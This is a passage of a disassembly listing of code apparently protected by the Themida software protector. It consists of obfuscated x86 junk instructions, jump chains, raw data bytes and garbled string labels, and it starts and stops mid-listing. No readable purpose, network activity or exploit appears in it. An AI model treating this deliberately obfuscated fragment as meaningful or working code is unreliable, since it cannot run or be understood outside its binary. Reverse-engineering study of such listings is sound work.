		db 24h,	52h
; ---------------------------------------------------------------------------


loc_58E61A:				; CODE XREF: Themida_:0058EA53j
		add	esp, 4
		push	edi
		mov	edi, 4E72D2Ah
		add	edi, 7E20127Eh
		jnz	loc_58E0CB
		or	edi, 54A513FBh
		push	edx
		mov	edx, 7E6AFFACh
		add	edi, edx


loc_58E63D:				; CODE XREF: Themida_:00595ACAj
		pop	edx
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_590701
; ---------------------------------------------------------------------------


loc_58E652:				; CODE XREF: Themida_:0058C6D6j
		pop	dword ptr [esp]
		jmp	loc_58A79E
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 89522404h, 0E78957E2h, 4C781h, 0EF810000h, 4, 5C243C87h
		dd 0B8240489h, 3C1B42h,	4F5E6505h, 79A33511h, 0C201118Bh
		dd 5024048Bh, 4C1CE9h, 80DAF600h, 0F28030E2h, 75B8E947h
		dd 685E0000h, 4282h, 1D8DE9h
		db 0
; ---------------------------------------------------------------------------


loc_58E6A9:				; CODE XREF: Themida_:005964C5j
		sub	ebp, eax
		pop	eax
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ax
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------


loc_58E6B9:				; CODE XREF: Themida_:loc_58FE60j
					; Themida_:00590683j
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_593CF4
; ---------------------------------------------------------------------------


loc_58E6D0:				; CODE XREF: Themida_:0058F174j
		pop	ebp
		jmp	loc_58E9E9
; ---------------------------------------------------------------------------


loc_58E6D6:				; CODE XREF: Themida_:005916AAj
		mov	eax, esp
		add	eax, 4
		push	edx
		mov	edx, 2
		jmp	loc_58ED5C
; ---------------------------------------------------------------------------
		dd 9D1C77FFh, 0D3665966h, 0E99C2414h, 0FFFFBBD6h
; ---------------------------------------------------------------------------


loc_58E6F8:				; CODE XREF: Themida_:005929E7j
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_58B6E1
; ---------------------------------------------------------------------------
		db 0F6h, 1Ch, 24h
		dd 456E99Ch, 0B8500000h, 4, 48BC529h, 6E98E924h, 0F7800000h
		dd 0E9FA007Ch, 0FFFFFD72h
; ---------------------------------------------------------------------------


loc_58E728:				; CODE XREF: Themida_:0059050Dj
		push	esi
		jmp	loc_58DD99
; ---------------------------------------------------------------------------


loc_58E72E:				; CODE XREF: Themida_:005930FDj
		xchg	eax, ecx
		sub	esp, 4
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], edx
		push	dword ptr [esp+4]
		mov	edx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		push	edx
		jmp	loc_5936EB
; ---------------------------------------------------------------------------
		dd 12CDE9C3h, 0B6520000h, 2EC83C3h, 241C8966h, 0FE3008B7h
		dd 0FFE1A0E9h, 6EFC1FFh, 0F89EF81h, 0ECE971E8h
		db 8Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58E77B:				; CODE XREF: Themida_:0058FA04j
		pop	esp
		xor	ebx, eax
		push	small 161Fh
		jmp	loc_58B75A
; ---------------------------------------------------------------------------
		db 89h
		dd 76E92404h, 0E900008Bh, 0FFFFBB3Ah
; ---------------------------------------------------------------------------


loc_58E794:				; CODE XREF: Themida_:0058D378j
		xor	ecx, 9FD30FFAh
		push	edx
		push	ecx
		jmp	loc_590373
; ---------------------------------------------------------------------------
		db 68h,	0EDh, 27h
		dd 3C890000h, 815F5424h, 4C7h, 2894E900h, 0E9560000h, 0FFFFC5CFh
		dd 96F6E95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58E7C2:				; CODE XREF: Themida_:005931FCj
		not	eax
		shr	eax, 8
		jmp	loc_58BF2C
; ---------------------------------------------------------------------------
		dd 4C481h, 95E90000h, 0FF000008h, 1BE92434h
		db 0FCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58E7DF:				; CODE XREF: Themida_:00595247j
		add	esp, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_591F34
; ---------------------------------------------------------------------------
		dd 24048B66h, 3F38E9h, 24248B00h, 9C2424D2h, 0FFBAC9E9h
		dd 0BAC4E9FFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58E80A:				; CODE XREF: Themida_:005923B5j
		inc	ebx
		jmp	loc_58FE60
; ---------------------------------------------------------------------------
		dd 51F8005Bh, 0D1F6C9B1h, 0E91EC180h, 883Bh, 0C381E389h
		dd 4, 4BA52h, 0B5E90000h
		db 65h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58E833:				; CODE XREF: Themida_:00590627j
		add	esp, 4


loc_58E839:				; CODE XREF: Themida_:00597A66j
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ebx
		xor	dword ptr [esp], 7725249Dh
		pop	eax
		jmp	loc_58E923
; ---------------------------------------------------------------------------


loc_58E859:				; CODE XREF: Themida_:00595992j
		add	ebx, 4
		add	ebx, 4
		xor	ebx, [esp]
		jmp	loc_58B3BD
; ---------------------------------------------------------------------------
aBilzcST	db 'λ«‡c)ιΧT',0
		db 0
; ---------------------------------------------------------------------------


loc_58E875:				; CODE XREF: Themida_:0058A9B7j
		add	edx, eax
		push	5984h
		mov	[esp], ecx
		mov	ecx, 640740BFh
		sub	edx, ecx
		jmp	loc_5915CE
; ---------------------------------------------------------------------------


loc_58E88B:				; CODE XREF: Themida_:00595B57j
		xor	ebx, edi
		pop	edi
		jmp	loc_58BD0B
; ---------------------------------------------------------------------------


loc_58E893:				; CODE XREF: Themida_:0058F2F4j
		push	dword ptr [esp]
		pop	edx
		push	24D0h
		mov	[esp], esi
		push	esp
		jmp	loc_59147B
; ---------------------------------------------------------------------------


loc_58E8A5:				; CODE XREF: Themida_:0058DFE7j
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------
		dw 0E958h
		dd 0FFFFF8D0h, 33240431h, 0E95C2404h, 0FFFFDD10h
; ---------------------------------------------------------------------------


loc_58E8BC:				; CODE XREF: Themida_:00597BC8j
		mov	ecx, 0
		sub	ecx, edx
		xchg	ecx, edx
		pop	ecx
		not	edx
		xchg	ebp, edx
		neg	ebp
		xchg	ebp, edx
		push	eax
		mov	eax, 648D143Fh
		or	eax, 75F5D4Ch
		xor	eax, 4F240D41h
		sub	edx, eax
		mov	eax, [esp]
		add	esp, 4
		xor	edx, 6AC9678Fh
		jmp	loc_58D31F
; ---------------------------------------------------------------------------


loc_58E8F1:				; CODE XREF: Themida_:0059396Ej
		sub	eax, ebx
		jmp	loc_58C5BE
; ---------------------------------------------------------------------------
		dd 24048B66h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, esp
		push	7757h
		mov	[esp], ecx
		mov	ecx, 4
		jmp	loc_5919F7
; ---------------------------------------------------------------------------


loc_58E923:				; CODE XREF: Themida_:0058E854j
		push	edi
		jmp	loc_594C30
; ---------------------------------------------------------------------------


loc_58E929:				; CODE XREF: Themida_:00595E47j
		pop	edi
		push	ebp
		push	edx
		jmp	loc_594812
; ---------------------------------------------------------------------------


loc_58E931:				; CODE XREF: Themida_:0058AE97j
		push	edi
		push	esi
		mov	esi, 320B7EC5h
		sub	esi, 1DF352D6h
		jmp	loc_58CD3E
; ---------------------------------------------------------------------------
		db 66h
		dd 8124048Bh, 4ECh, 241C8900h, 2434FF54h, 5B2434FFh, 8304C483h
		dd 0B85004C4h, 4, 5758C301h, 2BFh, 8BFB0100h, 0C483243Ch
		dd 241C8704h, 0E924248Bh, 0FFFFEABFh
; ---------------------------------------------------------------------------


loc_58E980:				; CODE XREF: Themida_:0058D6E3j
		push	ebp
		jmp	loc_58EAFB
; ---------------------------------------------------------------------------
		dw 489h
		dd 95B55124h, 85E9E888h, 0E9FFFFD5h, 4C00h
; ---------------------------------------------------------------------------


loc_58E998:				; CODE XREF: Themida_:0058F5A9j
		sub	edx, 0BF8793Eh
		add	edx, edi
		add	edx, 0BF8793Eh
		add	edx, 43F14273h
		jmp	loc_58F400
; ---------------------------------------------------------------------------
		db 87h,	1Ch, 24h
		dd 1201E9h, 0DDF74500h,	514DBE56h, 0EE815E13h, 6A276096h
		dd 9AEE814Eh, 814B4E3Ah, 0E1301BC6h, 90EE817Dh,	811CC940h
		dd 41DBCEEEh, 5EF53170h, 0FFBF8DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58E9E9:				; CODE XREF: Themida_:0058E6D1j
		mov	ebp, 0FA8AF580h
		push	eax
		mov	eax, 23041F06h
		add	ebp, 359B6601h
		add	ebp, eax
		sub	ebp, 359B6601h
		pop	eax
		add	ebp, 7A2E376Eh
		sub	ebp, 0FE149D3h
		add	ebp, edx
		add	ebp, 0FE149D3h
		sub	ebp, 7A2E376Eh
		sub	ebp, 23041F06h
		pop	edx
		jmp	loc_592E7F
; ---------------------------------------------------------------------------


loc_58EA29:				; CODE XREF: Themida_:00591C92j
		pop	esp
		xchg	ebx, [esp]
		mov	esp, [esp]
		or	eax, eax
		jnz	loc_58B321
		push	7ED3h
		mov	[esp], ebp
		push	2E55h
		mov	[esp], edx
		push	esi
		mov	esi, 49463089h
		mov	edx, esi
		mov	esi, [esp]
		jmp	loc_58E61A
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, 3D206D39h
		not	ebx
		push	edi
		mov	edi, 687D3CE6h
		xor	ebx, edi
		pop	edi
		xor	ebx, 0AAA2AE24h
		add	ebp, ebx
		jmp	loc_595ADC
; ---------------------------------------------------------------------------
		db 5Fh,	0E9h, 13h
		dd 66FFFFCAh, 68240C8Bh, 310Bh,	0E9241C89h, 5C68h, 0B353CE2Ch
		dd 5BD82862h, 592434FFh, 0E9E78957h, 5CADh, 4EC81h, 0C890000h
		dd 754FE924h, 0BE560000h, 2, 4FB8EB81h,	0C3816E83h, 3EA74325h
		dd 0E955F301h, 548Bh
; ---------------------------------------------------------------------------


loc_58EACC:				; CODE XREF: Themida_:0058C549j
		push	edi
		mov	edi, 0EA87F417h
		sub	eax, edi
		pop	edi
		sub	esi, eax
		mov	eax, [esp]
		add	esp, 4
		not	esi
		push	ecx
		jmp	loc_58B8B2
; ---------------------------------------------------------------------------


loc_58EAE5:				; CODE XREF: Themida_:0058C13Cj
		push	esp
		pop	edi
		jmp	loc_58B426
; ---------------------------------------------------------------------------


loc_58EAEC:				; CODE XREF: Themida_:00597AE1j
		pop	ebp
		push	eax
		mov	eax, 4
		add	ebp, eax
		pop	eax
		jmp	loc_597AEC
; ---------------------------------------------------------------------------


loc_58EAFB:				; CODE XREF: Themida_:0058E981j
		mov	ebp, esp
		jmp	loc_593261
; ---------------------------------------------------------------------------


loc_58EB02:				; CODE XREF: Themida_:0058B6F6j
		xor	edi, [esp]
		pop	esp
		add	esp, 4
		jmp	loc_59673D
; ---------------------------------------------------------------------------


loc_58EB0E:				; CODE XREF: Themida_:00592A3Ej
		sub	al, 17h
		add	al, ch
		add	al, 17h
		sub	al, 57h
		pop	ecx
		sub	bl, 0F3h
		jmp	loc_597472
; ---------------------------------------------------------------------------


loc_58EB1F:				; CODE XREF: Themida_:00594468j
		push	ebp
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 4
		mov	ebp, ebx
		pop	ebx
		add	esi, ebp
		pop	ebp
		add	esi, 4
		jmp	loc_58B7C9
; ---------------------------------------------------------------------------


loc_58EB3C:				; CODE XREF: Themida_:005923D1j
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ecx
		push	7742h
		mov	[esp], edx
		jmp	loc_5955A6
; ---------------------------------------------------------------------------


loc_58EB56:				; CODE XREF: Themida_:0058D166j
		push	eax
		mov	al, 0B8h
		or	al, 0DCh
		and	al, 0B8h
		xor	al, 95h
		jmp	loc_592572
; ---------------------------------------------------------------------------
		dd 0FFB765E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58EB69:				; CODE XREF: Themida_:00594B26j
		not	ebp
		push	ebp
		xchg	eax, [esp]
		jmp	loc_595620
; ---------------------------------------------------------------------------
		dd 0AF507905h, 0E9D80124h, 0FFFFF7AFh
; ---------------------------------------------------------------------------


loc_58EB80:				; CODE XREF: Themida_:0058DCD0j
		push	eax
		jmp	loc_58C064
; ---------------------------------------------------------------------------


loc_58EB86:				; CODE XREF: Themida_:00596C58j
		pop	cx
		push	edx
		mov	dl, 6Ah
		sub	dl, 54h
		xchg	bl, dl
		inc	bl
		xchg	bl, dl
		sub	dl, 1
		xor	dl, 95h
		shr	dl, 7
		jmp	loc_592A61
; ---------------------------------------------------------------------------
		dw 2CD3h
		dd 23E99C24h
		db 0B7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58EBAB:				; CODE XREF: Themida_:005951B4j
		pop	esp
		mov	[esp], cx
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------


loc_58EBB5:				; CODE XREF: Themida_:00594660j
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		push	esi
		push	dword ptr [esp+4]
		jmp	loc_597CA5
; ---------------------------------------------------------------------------
		db 45h
		dd 0B951DDF7h, 0AE48F92Dh, 159CD31h, 2134E9E8h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58EBDE:				; CODE XREF: Themida_:00597167j
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], edi
		push	ebx
		push	0DD2424h
		pop	ebx
		jmp	loc_58CCB7
; ---------------------------------------------------------------------------


loc_58EBF4:				; CODE XREF: Themida_:0058CF6Ej
		mov	ecx, edx
		mov	edi, ecx
		pop	ecx
		jmp	loc_59464C
; ---------------------------------------------------------------------------


loc_58EBFE:				; CODE XREF: Themida_:00596088j
		mov	ecx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_58E0E0
; ---------------------------------------------------------------------------
aVha		db ',’ha{',0
		align 10h
		dd 89241C89h, 4C381E3h,	81000000h, 4EBh, 241C8700h, 0C47E9h
		dd 0FED1F600h, 73E980C1h, 0C8285B2Ch, 0C8B5B04h, 4C48324h
		dd 8A17E9h
		db 0
; ---------------------------------------------------------------------------


loc_58EC51:				; CODE XREF: Themida_:00593911j
		mov	edx, esi
		jmp	loc_594887
; ---------------------------------------------------------------------------
aRaezFaezsvo	db '½AeZΏ”AeZιVO',0
		dw 0E900h
		dd 8F2Bh
; ---------------------------------------------------------------------------


loc_58EC6C:				; CODE XREF: Themida_:0058F8F5j
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		push	dword ptr [esp+4]
		jmp	loc_58F5AE
; ---------------------------------------------------------------------------
		dw 0C181h
		dd 4, 4C181h, 0C330000h, 1C36E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58EC96:				; CODE XREF: Themida_:0058AD71j
		push	ebx
		mov	bh, 0B8h
		jmp	loc_594A61
; ---------------------------------------------------------------------------


loc_58EC9E:				; CODE XREF: Themida_:loc_58FCCFj
		or	ebp, 5C967C10h
		xor	ebp, 0C24EC2BCh
		jmp	loc_58FC27
; ---------------------------------------------------------------------------
		db 51h
		dd 16B8E952h, 15F0000h,	0E9535AD7h, 0FFFFFB60h,	2DD2C781h
		dd 0C7013098h, 0E30E9h
		db 0
; ---------------------------------------------------------------------------


loc_58ECCD:				; CODE XREF: Themida_:0058B158j
		add	esp, 4
		mov	eax, [esp]
		add	esp, 4
		mov	[edi+eax*4], dh
		pop	edx
		jmp	loc_5954DA
; ---------------------------------------------------------------------------


loc_58ECE2:				; CODE XREF: Themida_:0058F841j
		mov	eax, 4D14481Bh
		jmp	loc_597BCD
; ---------------------------------------------------------------------------
		dd 0A4E9CC88h, 42FFFFF8h, 0D2F7DAF7h, 0D23CEA81h, 0D5012B25h
		dd 4C5835Ah, 9306E9h
		db 0
; ---------------------------------------------------------------------------


loc_58ED09:				; CODE XREF: Themida_:0058FFC2j
		inc	ebx
		and	ebx, 46F23D47h
		shl	ebx, 4
		jmp	loc_59008F
; ---------------------------------------------------------------------------


loc_58ED18:				; CODE XREF: Themida_:005925BEj
		push	esi
		jmp	loc_591DEC
; ---------------------------------------------------------------------------


loc_58ED1E:				; CODE XREF: Themida_:0058FD75j
		mov	eax, 49C659F5h
		inc	eax
		add	eax, 1CC00963h
		mov	ecx, eax
		pop	eax
		add	dword ptr [esp+4], 4A2B204Ah
		sub	[esp+4], ecx
		push	ebp
		mov	ebp, 4A2B204Ah
		jmp	loc_591DF6
; ---------------------------------------------------------------------------
		db 0FFh
a4Xuh		db '4$XUhΣ',0Dh,0
		dd 24248900h, 4240481h,	0E9000000h, 2298h
; ---------------------------------------------------------------------------


loc_58ED5C:				; CODE XREF: Themida_:0058E6E3j
		sub	eax, 1F3B2E91h
		sub	eax, edx
		push	edx
		mov	edx, 1F3B2E91h
		jmp	loc_59172D
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 0FFB555E9h, 5C181FFh, 0E9DBCA37h,	0FFFFE73Fh
; ---------------------------------------------------------------------------


loc_58ED84:				; CODE XREF: Themida_:0059288Bj
		and	eax, edi
		jmp	loc_595791
; ---------------------------------------------------------------------------
		db 1
		dd 64EF81DFh, 5B51BE22h, 0E904EF83h, 0BBh
; ---------------------------------------------------------------------------


loc_58ED9C:				; CODE XREF: Themida_:0058A4CAj
		add	eax, ebp
		pop	ebp
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		push	5963h
		mov	[esp], edx
		mov	edx, 0
		push	esi
		push	eax
		mov	eax, 511717Dh
		mov	esi, 339A70C8h
		jmp	loc_59263F
; ---------------------------------------------------------------------------


loc_58EDC9:				; CODE XREF: Themida_:0058A4D7j
		pop	eax
		pop	ecx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_58C149
; ---------------------------------------------------------------------------


loc_58EDDF:				; CODE XREF: Themida_:0059226Bj
		jnz	loc_597969
		push	ebx
		mov	ebx, 0FFFFFFFFh
		jmp	loc_597DB2
; ---------------------------------------------------------------------------
		db 88h,	0F9h, 52h
; ---------------------------------------------------------------------------


loc_58EDF3:				; CODE XREF: Themida_:0058E0DBj
		add	dword ptr [esp], 6B080B9Ah
		pop	ebp
		jmp	loc_591765
; ---------------------------------------------------------------------------


loc_58EE00:				; CODE XREF: Themida_:0058C2D3j
		pop	esi
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		sub	ebx, 735F566Dh
		mov	eax, ebx
		jmp	loc_590BA5
; ---------------------------------------------------------------------------
aAseo		db 'Aι₯O',0
		align 2
		dw 0E680h
		dd 70850FA5h, 5300002Eh, 1032E950h, 29E90000h
		db 20h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58EE33:				; CODE XREF: Themida_:00595968j
		add	esi, edx
		pop	edx
		jmp	loc_596243
; ---------------------------------------------------------------------------


loc_58EE3B:				; CODE XREF: Themida_:00591E3Bj
		neg	esi
		neg	esi
		sub	esi, 96BC43E2h
		sub	ebp, esi
		jmp	loc_596731
; ---------------------------------------------------------------------------
		dd 0DFF5E958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58EE52:				; CODE XREF: Themida_:00597294j
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------
		db 87h
		dd 0A6E9243Ch
		db 0F4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58EE5F:				; CODE XREF: Themida_:0058E38Dj
		pop	ecx
		push	ecx
		mov	ecx, 42E378FDh
		and	esi, ecx
		jmp	loc_595572
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 0EBh
		dd 0D1603420h, 0CF8147E7h, 3703589Dh, 4EDC781h,	0F8298E52h
		dd 56243C8Bh, 0BD55E689h, 4, 815DEE01h,	4C6h, 24348700h
		dd 0FF24248Bh, 81592434h, 4C4h,	57D80100h, 0E658CBFh, 5FF80157h
		dd 7021BA52h, 0EC8375F0h, 24348904h, 37DA68h, 241C8900h
		dd 8702A4BBh, 0F5B95110h, 1205E64h, 0DE8959CBh,	7B96E9h
		db 0
; ---------------------------------------------------------------------------


loc_58EEDD:				; CODE XREF: Themida_:0058C588j
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_5949E4
; ---------------------------------------------------------------------------
		dw 815Eh
		dd 0F14809EAh, 53C2015Bh, 1933DDBBh, 0EB81434Ah, 0FA7F1BA1h
		dd 480EC381h, 0C6E93EA9h, 8100000Eh, 391E51F5h,	5DE989C8h
		dd 6AD7E181h, 34E934DFh
		db 8, 2	dup(0)
; ---------------------------------------------------------------------------


loc_58EF1B:				; CODE XREF: Themida_:00590007j
		push	dword ptr [esp]
		pop	eax
		jmp	loc_58AF7B
; ---------------------------------------------------------------------------
		dd 2404085Ch, 0B3A0E99Ch, 0B951FFFFh, 297A7957h, 159CD29h
		dd 57C581D5h, 5A297A79h, 31242C33h, 2C33242Ch, 148B5C24h
		dd 8821E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58EF52:				; CODE XREF: Themida_:005933D6j
		sub	esp, 4
		jmp	loc_59066E
; ---------------------------------------------------------------------------


loc_58EF5A:				; CODE XREF: Themida_:00597DADj
		mov	edx, 3D0A1743h
		neg	edx
		xor	edx, 8F30456h
		xor	edx, 26F23E8h
		shl	edx, 5
		push	ecx
		mov	ecx, 1
		add	edx, ecx
		pop	ecx
		add	edx, 0A4C4662Bh
		sub	ebx, edx
		pop	edx
		add	edx, ebx
		jmp	loc_591F71
; ---------------------------------------------------------------------------
		db 81h,	2Ch, 24h
		dd 3A87527Eh, 55240401h, 79E4E9h
		db 0
; ---------------------------------------------------------------------------


loc_58EF99:				; CODE XREF: Themida_:0058DFB8j
		mov	[esp], ebx
		xor	dword ptr [esp], 62CB5294h
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_5916C4
; ---------------------------------------------------------------------------
		db 8Bh,	14h, 24h
		dd 4C481h, 0EF810000h, 4, 1CD5E9h, 0B304E900h, 34FFFFFFh
		dd 54515924h, 4BA5259h,	1000000h, 24148BD1h, 81E68956h
		dd 4C6h, 4C68100h, 87000000h, 575C2434h, 166A3EBFh, 1EF834Dh
		dd 243C8757h, 3C87D7F7h, 0EFC15F24h, 6CEF8102h,	12CBA65h
		dd 4FE95FF9h
		db 0D2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58F013:				; CODE XREF: Themida_:00593C7Fj
		push	ebp
		mov	ebp, 21CE69F6h
		xor	ebp, 555F7F6Ch
		or	ebp, 7CBD6AD2h
		not	ebp
		neg	ebp
		xor	ebp, 7CBD7ED9h
		jmp	loc_5927DA
; ---------------------------------------------------------------------------
		dd 240C8B66h, 8904EC83h, 0E6892434h, 4C681h, 53500000h
		dd 2CB2E9h, 840F4000h, 56B8h, 8B0FE0D1h, 51E3h,	0FFB95BE9h
		dd 58C288FFh, 0E901C280h, 3566h, 6966E953h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58F072:				; CODE XREF: Themida_:0058CB44j
		mov	ecx, 4
		add	edi, ecx
		pop	ecx
		xchg	edi, [esp]
		mov	esp, [esp]
		imul	ecx
		push	edi
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_596EB8
; ---------------------------------------------------------------------------


loc_58F091:				; CODE XREF: Themida_:00591AA7j
		sub	esp, 4
		mov	[esp], edi
		push	ebp
		mov	ebp, 323F51C0h
		mov	edi, 5BD54765h
		jmp	loc_5922A7
; ---------------------------------------------------------------------------
		dw 8B0Fh
		dd 2D25h, 800FCEFEh, 79BBh, 0F6DEF680h,	6614E9DEh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58F0C2:				; CODE XREF: Themida_:0058B0B3j
		pop	esi
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_593C42
; ---------------------------------------------------------------------------
		dw 34FFh
aSiuqrPNbCFSU	db '$^S‰γQRΊp*άNΒC(f',8,'ι~U',0
		db 0
; ---------------------------------------------------------------------------


loc_58F0E7:				; CODE XREF: Themida_:005922B3j
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		add	esp, 4
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], dx
		jmp	loc_597EC1
; ---------------------------------------------------------------------------


loc_58F10B:				; CODE XREF: Themida_:0059605Fj
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		dec	word ptr [esp]
		pushf
		jmp	loc_59490B
; ---------------------------------------------------------------------------
		dw 8B66h
		db 0Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_594566
; ---------------------------------------------------------------------------


loc_58F12A:				; CODE XREF: Themida_:0058C60Bj
		jmp	loc_5943F3
; ---------------------------------------------------------------------------


loc_58F12F:				; CODE XREF: Themida_:0059258Cj
					; Themida_:005938BAj
		mov	ebx, 55AA2E27h
		not	ebx
		shl	ebx, 3
		and	ebx, 1EFD4B19h
		inc	ebx
		xor	ebx, 5FF232E0h
		mov	edx, ebx
		pop	ebx
		jmp	loc_592804
; ---------------------------------------------------------------------------
		dd offset dword_446450+18h
		dw 8900h
		dd 8CB9240Ch, 5570E65h,	456602ACh, 32E9C829h, 8B000076h
		dd 1C892424h, 51B5E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58F172:				; CODE XREF: Themida_:00597D30j
		mov	edx, ebp
		jmp	loc_58E6D0
; ---------------------------------------------------------------------------
		db 29h,	0C5h, 0E9h
		dd 0FFFFDEEDh
; ---------------------------------------------------------------------------


loc_58F180:				; CODE XREF: Themida_:005923E0j
		add	ecx, 0B69BBEEh
		jmp	loc_59275C
; ---------------------------------------------------------------------------
		db 0F7h
		dd 81D9F7D1h, 9DE84EE9h, 24B4E9CFh, 0E9520000h,	627Dh
		dd 1DF468h, 24248900h, 4240483h, 3000E9h
		db 0
; ---------------------------------------------------------------------------


loc_58F1B1:				; CODE XREF: Themida_:00593CCCj
		mov	bl, cl
		pop	ecx
		jmp	loc_593D33
; ---------------------------------------------------------------------------


loc_58F1B9:				; CODE XREF: Themida_:00593490j
		popf
		retn
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFFB10Eh, 2AD2BE56h, 0DEF70DA8h, 7250BF57h, 1DE92AD6h
		db 8Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58F1D3:				; CODE XREF: Themida_:0058F52Fj
		add	esp, 4
		jmp	loc_5944E5
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFFB0EEh, 510DF5BDh, 2E5C15Ch, 78D2E9h
		db 0
; ---------------------------------------------------------------------------


loc_58F1ED:				; CODE XREF: Themida_:00591C08j
		push	edx
		push	ebx
		mov	ebx, 41E43693h
		mov	edx, 3344EC10h
		add	edx, ebx
		pop	ebx
		add	ecx, 4D932F13h
		sub	ecx, edx
		sub	ecx, 4D932F13h
		pop	edx
		sub	ecx, 69122792h
		mov	edi, [esp]
		jmp	loc_58CE7F
; ---------------------------------------------------------------------------


loc_58F219:				; CODE XREF: Themida_:0058F5DCj
		pop	ecx
		jmp	loc_596A6C
; ---------------------------------------------------------------------------


loc_58F21F:				; CODE XREF: Themida_:00595FAEj
		add	esi, 952E0913h
		xor	eax, esi
		push	dword ptr [esp]
		jmp	loc_592F04
; ---------------------------------------------------------------------------


loc_58F22F:				; CODE XREF: Themida_:00592AE0j
		sub	ebx, 14673BEFh
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 35DC3567h
		add	ebx, 5D182EA6h
		add	ebx, eax
		sub	ebx, 5D182EA6h
		mov	eax, [esp]
		jmp	loc_590682
; ---------------------------------------------------------------------------


loc_58F259:				; CODE XREF: Themida_:005943C7j
		push	edx
		push	37B046C4h
		pop	edx
		mov	eax, 5D4BFF2h
		sub	eax, 41BC052Ch
		add	eax, edx
		add	eax, 41BC052Ch
		pop	edx
		jmp	loc_595F9B
; ---------------------------------------------------------------------------


loc_58F277:				; CODE XREF: Themida_:0058DC24j
		push	ebx
		jmp	loc_592591
; ---------------------------------------------------------------------------
		db 0D1h, 0EEh, 0Fh
		dd 1BEC8Bh, 0A3B95100h,	5578F71Fh, 0FFFD20E9h
		db 0FFh, 8Bh, 2
; ---------------------------------------------------------------------------


loc_58F293:				; CODE XREF: Themida_:0058D76Bj
		add	esp, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------


loc_58F2A6:				; CODE XREF: Themida_:0059210Fj
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_58C950
; ---------------------------------------------------------------------------
		dd 0B754E958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58F2B6:				; CODE XREF: Themida_:00593817j
		and	ecx, ebp
		mov	ebp, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		push	edx
		mov	edx, 4
		add	edi, edx
		pop	edx
		jmp	loc_58CC74
; ---------------------------------------------------------------------------


loc_58F2D2:				; CODE XREF: Themida_:00590694j
		add	esi, 38827CF2h
		mov	ebp, esi
		jmp	loc_5903BA
; ---------------------------------------------------------------------------


loc_58F2DF:				; CODE XREF: Themida_:0059683Dj
		add	eax, 0B13531EBh
		not	eax
		shr	eax, 1
		inc	eax
		dec	eax
		add	eax, 0E2DD5393h
		xor	edx, eax
		pop	eax
		and	eax, edx
		jmp	loc_58E893
; ---------------------------------------------------------------------------
		db 87h,	0FBh, 0F7h
